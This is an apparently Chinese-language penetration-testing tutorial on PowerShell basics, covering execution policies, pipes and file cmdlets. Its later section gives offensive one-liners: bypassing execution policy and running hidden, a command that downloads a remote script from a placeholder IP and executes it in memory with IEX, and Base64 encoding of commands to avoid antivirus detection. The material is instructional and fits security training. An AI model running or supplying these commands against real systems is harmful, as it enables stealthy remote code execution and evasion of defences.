[渗透测试]02 PowerShell基础

PowerShell是一种命令行外壳程序和脚本环境,它内置在 Windows 7、Windows Server 2008 R2 及更高版本的 Windows 系统中,同时 PowerShell 是构建在 .NET 平台上的,所有命令传递的都是 .NET 对象。

PowerShell 有如下特点:

  • Windows 7 以上的操作系统默认安装
  • PowerShell 脚本可以运行在内存中,不需要写入磁盘
  • 可以从另一个系统中下载 PowerShell 脚本并执行
  • 目前很多工具都是基于 PowerShell 开发的
  • 很多安全软件检测不到 PowerShell 的活动
  • cmd 通常会被阻止运行,但是 PowerShell 不会
  • 可以用来管理活动目录

可输入 Get-Host 或者 $PSVersionTable 查看 PowerShell 版本:

[渗透测试]02 PowerShell基础_第1张图片

基本概念

ps1 文件

ps1 是PowerShell 的脚本扩展名,一个 PowerShell 脚本文件其实就是一个简单的文本文件。

执行策略

为了防止使用者运行恶意脚本,Powershell提供了一个执行策略。默认情况下是"不可执行"。

我们可以使用 Get-ExecutionPolicy命令查看当前执行策略

执行策略有以下几种:

Restricted:脚本不能运行(默认)

RemoteSigned:本地创建的脚本可以运行,但从网上下载的脚本不能运行(除非它们拥有由受信任的发布者签署的数字签名)

AllSigned:仅当脚本由受信任的发布者签名才能运行。

Unrestricted:允许所有脚本运行

在管理员权限下可以使用Set-ExecutionPolicy 设置执行策略。

运行脚本

PowerShell 运行脚本的方式和其他 shell 基本一致,可以输入完整路径运行,也可以到 ps1 文件所在目录下去运行。

管道

管道的作用是将前一个命令的输出作为另一个命令的输入,两个命令之间使用 “|” 进行连接。

例如,在 PowerShell 中获取进程信息并以程序 ID 进行排序

[渗透测试]02 PowerShell基础_第2张图片

常用命令

文件操作

新建目录test:New-Item test -ItemType directory 
删除目录test:Remove-Item test 
新建文件test.txt:New-Item test.txt -ItemType file 
新建文件test.txt,内容为 hello:New-Item test.txt -ItemType file -value "hello" 
删除文件test.txt:Remove-Item test.txt 
查看文件test.txt内容:Get-Content test.txt 
设置文件test.txt内容t:Set-Content test.txt -Value "hello" 
给文件test.txt追加内容:Add-Content test.txt -Value ",word!" 
清除文件test.txt内容:Clear-Content test.txt

绕过本地权限并执行

绕过安全策略

PowerShell.exe -ExecutionPolicy Bypass -File t.ps1

绕过本地权限并隐藏执行

加入-WindowStyle Hidden -NoLogo -NonInteractive -NoProfile 即可隐藏执行。

PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -NonInteractive -NoProfile -File t.ps1

下载远程脚本绕过权限并隐藏执行

PowerShell.exe -Exec Bypass -W Hidden -NoLogo -NonI -NoP "IEX(New-Object Net.WebClient).DownloadString('http://xxx.xxx.xxx.xxx:8000/t.ps1')"

利用 Base64 对命令进行编码

使用 Base64 进行编码主要是为了混淆和压缩代码,从而避免脚本因为一些特殊字符而被杀毒软件查杀。

可以使用python脚本进行编码

地址

下载好后,需要先将要执行的命令保存到文本文件中,这里保存到了 tmp.txt 文本中,之后执行 python ps_encoder.py -s tmp.txt 即可

使用 –Enc 指定 Base64 编码内容

PowerShell.exe -Exec Bypass -Enc base64编码内容

常用参数:

-NoLogo:启动不显示版权标志的PowerShell
-ExecutionPolicy Bypass (-Exec Bypass) :绕过执行安全策略
-WindowStyle Hidden (-W Hidden):隐藏窗口
-NoProfile (-NoP):不加载当前用户的配置文件
–Enc:执行 base64 编码后的 powershell 脚本字符串
-Noexit:执行后不退出Shell,这在使用键盘记录等脚本时非常重要
-NonInteractive (-Nonl):非交互模式,PowerShell 不为用户提供交互的提示

参考:《内网安全攻防》

你可能感兴趣的:(渗透测试实战,内网渗透)